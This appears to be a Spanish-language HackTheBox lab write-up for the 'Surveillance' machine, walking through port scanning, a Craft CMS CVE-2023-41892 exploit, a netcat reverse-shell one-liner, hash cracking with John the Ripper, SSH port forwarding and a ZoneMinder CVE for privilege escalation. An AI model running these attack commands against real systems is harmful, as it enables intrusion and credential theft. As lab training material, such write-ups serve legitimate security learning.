🌐
My Pentest Book
  • πŸ’‘I changed my website
  • πŸ“„WriteUps
    • πŸ΄β€β˜ οΈHTB - HackTheBox
      • ⬛HTB - Advanced Labs
        • Endgames
          • P.O.O.
      • 🟨HTB - Runner
      • 🟩HTB - Usage
      • 🟩HTP - Active (Incomplete)
      • 🟨HTB - Scrambled
      • πŸŸ₯HTB - FormulaX (Incomplete)
      • πŸŸ₯HTB - Office
      • 🟩HTB - Perfection
      • 🟨HTB - WifineticTwo
      • 🟨HTB - Jab (Incomplete)
      • 🟩HTB - Buff
      • 🟨HTB - Hospital
      • 🟩HTB - Crafty
      • 🟩HTB - Bizness
      • 🟩HTB - Devvortex
      • 🟩HTB - CozyHosting
      • 🟩HTB - Analytics
      • 🟩HTB - Codify
      • 🟨HTB - Surveillance
      • 🟨HTB - Monitored
Con tecnologΓ­a de GitBook
En esta pΓ‘gina
  • InformaciΓ³n General
  • Enumeration
  • Exploitation
  • SSH Local Port Forward
  • Privilege Escalation

ΒΏTe fue ΓΊtil?

Editar en GitHub
  1. WriteUps
  2. HTB - HackTheBox

HTB - Surveillance

https://app.hackthebox.com/machines/Surveillance

AnteriorHTB - CodifySiguienteHTB - Monitored

ΒΏTe fue ΓΊtil?

InformaciΓ³n General

  • Nombre de la MΓ‘quina: Surveillance

  • IP de la MΓ‘quina: 10.10.11.245

  • Sistema Operativo: Linux

  • Dificultad: Medium

  • Fecha de PublicaciΓ³n: 09 Dec 2023


Enumeration

Establecer el objetivo

Primero, establecemos el objetivo utilizando el comando settarget con la direcciΓ³n IP de la mΓ‘quina objetivo:

settarget 10.10.11.245 Surveillance

Ping de reconocimiento

Realizamos un ping a la mΓ‘quina objetivo para verificar la conectividad y obtener informaciΓ³n sobre la ruta utilizando la opciΓ³n -R para incluir la ruta de retorno:

ping -c 1 10.10.11.239 -R

Escaneo de puertos con Nmap

Luego, realizamos un escaneo de puertos utilizando Nmap para identificar los puertos abiertos en la mΓ‘quina objetivo. Utilizamos las opciones -p- para escanear todos los puertos, --open para mostrar solo los puertos abiertos, -sS para un escaneo de tipo TCP SYN, --min-rate 5000 para establecer la velocidad mΓ­nima de paquetes y -vvv para un nivel de verbosidad alto. AdemΓ‘s, utilizamos -n para desactivar la resoluciΓ³n de DNS, -Pn para no realizar el escaneo de ping, y -oG allPorts para guardar la salida en un archivo con formato Greppable:

sudo nmap -p- --open -sS --min-rate 5000 -vvv  -n -Pn 10.10.11.245 -oG allPorts

Escaneo detallado con Nmap

Posteriormente, realizamos un escaneo mΓ‘s detallado de los puertos identificados utilizando la opciΓ³n -sCV para detecciΓ³n de versiones y scripts de enumeraciΓ³n de servicios. EspecΓ­ficamente, indicamos los puertos a escanear con -p __PORTS__ (reemplazando __PORTS__ con los puertos identificados en el paso anterior) y guardamos la salida en un archivo de texto con el nombre targeted:

sudo nmap -sCV -p22,80 10.10.11.245 -oN targeted

Para aΓ±adir la entrada "10.10.11.245 surveillance.htb" al archivo /etc/hosts, puedes usar el siguiente comando en la terminal:

echo "10.10.11.245 surveillance.htb" | sudo tee -a /etc/hosts

Este comando aΓ±ade la direcciΓ³n IP 10.10.11.245 asociada al nombre de host surveillance.htb al archivo /etc/hosts de tu sistema.

Utilizando WhatWeb para Obtener InformaciΓ³n sobre el Objetivo

Para obtener mΓ‘s informaciΓ³n sobre nuestro objetivo, utilizamos la herramienta WhatWeb. Esta herramienta nos permite identificar tecnologΓ­as web utilizadas en el servidor, como el sistema de gestiΓ³n de contenidos (CMS), el lenguaje de programaciΓ³n, los plugins y otras caracterΓ­sticas. Ejecutamos el siguiente comando:

whatweb http://surveillance.htb > whatweb && cat whatweb -l java

Para realizar un descubrimiento de directorios en un sitio web utilizando Gobuster, puedes utilizar el siguiente comando:

gobuster dir -u http://surveillance.htb/ -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 50

Este comando utiliza Gobuster para realizar un escaneo de directorios en el sitio web http://surveillance.htb/. Utiliza el archivo de palabras /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt como lista de palabras clave para la bΓΊsqueda. La opciΓ³n -t 50 indica que se deben utilizar 50 threads simultΓ‘neos para acelerar el proceso.

TIP: InstalaciΓ³n de SecLists con apt-get

Para instalar SecLists en sistemas basados en Debian (como Ubuntu) utilizando apt-get, puedes seguir estos pasos:

  1. Actualiza la lista de paquetes disponibles:

    sudo apt-get update
  2. Instala SecLists:

    sudo apt-get install seclists

Con estos pasos, SecLists se instalarΓ‘ en tu sistema y podrΓ‘s acceder a la lista de palabras clave en el directorio /usr/share/seclists/.

Exploitation

Durante una de nuestras incursiones en la red, nos topamos con un hallazgo interesante: una direcciΓ³n especΓ­fica que nos llevΓ³ directamente a un panel de administraciΓ³n de un sitio web: http://surveillance.htb/admin/login. Al inspeccionar la pΓ‘gina, nos dimos cuenta de que estaba potenciada por "CraftCMS", y aΓΊn mΓ‘s intrigante, la versiΓ³n se revelaba sin recato en el index.php como la 4.4.14.

Ejecutamos el exploit sudo python3 craft-cms.py http://surveillance.htb/ y accedemos a una shell interactiva.

Para asegurar una shell robusta y poder ejecutar comandos de bash, se puede utilizar un one-liner que establezca una conexiΓ³n inversa o una sesiΓ³n interactiva. Este tipo de conexiΓ³n es ΓΊtil cuando se ha conseguido ejecutar comandos de manera remota en una mΓ‘quina objetivo y se desea tener una interfaz de lΓ­nea de comandos mΓ‘s estable para interactuar con el sistema.

Uno de los one-liners mΓ‘s comunes para este propΓ³sito utiliza bash para crear una shell inversa. AquΓ­ tienes un ejemplo:

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.80 7777 >/tmp/f

DespuΓ©s de pasar un buen rato explorando el sistema al que habΓ­a ganado acceso, me topΓ© con una joya oculta en /html/craft/storage/backups: un archivo .sql. Este tipo de archivo suele contener datos cruciales, como backups de la base de datos, que podrΓ­an revelar informaciΓ³n valiosa sobre la aplicaciΓ³n web y su estructura de datos. Sabiendo esto, decidΓ­ que era imperativo obtener una copia para un anΓ‘lisis mΓ‘s detallado.

Para hacer el archivo accesible y poder descargarlo, primero tuve que moverlo a un directorio desde el cual pudiera accederse pΓΊblicamente. La ubicaciΓ³n ideal para esto fue /html/craft/web, un directorio que sabΓ­a que era servido por el servidor web.

Una vez que obtuvimos el archivo .sql y luego el hash, nuestro siguiente paso fue identificar el tipo de hash para determinar la mejor manera de crackearlo. Para esto, utilizamos la herramienta hash-identifier, que nos permitiΓ³ analizar el hash y determinar su posible algoritmo de hash subyacente.

El proceso de identificaciΓ³n fue sencillo y directo, y nos brindΓ³ informaciΓ³n valiosa sobre la naturaleza del hash, lo que nos permitiΓ³ elegir la mejor estrategia para descifrarlo.

Una vez identificado el tipo de hash como raw-sha256, procedimos a intentar crackearlo utilizando la herramienta John the Ripper. Esta herramienta es ampliamente utilizada para realizar ataques de fuerza bruta y diccionario contra contraseΓ±as cifradas.

EjecuciΓ³n de John the Ripper El comando utilizado para ejecutar John the Ripper y crackear el hash fue el siguiente:

john --format=raw-sha256 --wordlist=/usr/share/wordlists/rockyou.txt hash.txt

Intentamos ingresar por ssh con las credenciales de matthew@surveillance.htb y este es el resultado:

Revisando las conexiones de la mΓ‘quina me percato de un servicio que estΓ‘ corriendo en el puerto 8080.

SSH Local Port Forward

El "SSH Local Port Forward" es una tΓ©cnica que permite redirigir el trΓ‘fico desde un puerto local en la mΓ‘quina cliente hacia un puerto especΓ­fico en un servidor remoto a travΓ©s de una conexiΓ³n SSH. Esta tΓ©cnica es ΓΊtil para acceder a servicios en un servidor remoto que de otra manera no serΓ­an accesibles directamente desde la mΓ‘quina cliente.

En el ejemplo dado, se utilizΓ³ el siguiente comando para establecer un SSH Local Port Forward desde la mΓ‘quina cliente hacia el servidor remoto:

ssh -L 2222:127.0.0.1:8080 matthew@10.10.11.245
  • -L 2222:127.0.0.1:8080: especifica la redirecciΓ³n del trΓ‘fico desde el puerto 2222 en la mΓ‘quina cliente hacia el puerto 8080 en la mΓ‘quina remota. El formato es -L [puerto_local]:[host_destino]:[puerto_destino].

  • matthew@10.10.11.245: es el usuario y la direcciΓ³n IP del servidor remoto al que se va a conectar a travΓ©s de SSH.

DespuΓ©s de ejecutar este comando, cualquier trΓ‘fico que llegue al puerto 2222 en la mΓ‘quina cliente serΓ‘ redirigido al puerto 8080 en el servidor remoto a travΓ©s de la conexiΓ³n SSH. Esto permite acceder a servicios o aplicaciones que se ejecutan en el puerto 8080 del servidor remoto como si estuvieran siendo ejecutados localmente en el puerto 2222 de la mΓ‘quina cliente.

Privilege Escalation

Lo primero que se me ocurre hacer es un sudo -l

Al parecer hay archivos en /usr/bin/ llamado zm*.pl que podrΓ­an ser de ayuda:

Movidos por la curiosidad y el instinto de cazadores de vulnerabilidades, nos lanzamos a la vasta mar de informaciΓ³n que es internet, con la esperanza de desenterrar algΓΊn dato ΓΊtil sobre CraftCMS y sus posibles puntos dΓ©biles. No pasΓ³ mucho tiempo antes de que nuestra bΓΊsqueda diera frutos: nos topamos con un CVE especΓ­fico que parecΓ­a ser la llave para comprometer la versiΓ³n que tenΓ­amos enfrente: Craft CMS CVE-2023-41892. La fuente de esta revelaciΓ³n fue , que prometΓ­a ser el comienzo de una aventura aΓΊn mΓ‘s emocionante.

DespuΓ©s de establecer la conexiΓ³n SSH local, decidΓ­ investigar si habΓ­a algΓΊn exploit disponible para ZoneMinder, y encontrΓ© otro exploit relacionado con la ejecuciΓ³n remota de cΓ³digo (RCE). Puedes encontrar mΓ‘s informaciΓ³n sobre este exploit en el siguiente enlace: .

πŸ“„
πŸ΄β€β˜ οΈ
🟨
este enlace
CVE-2023-26035
Interior del .sql
Accedemos a 127.0.0.1:2222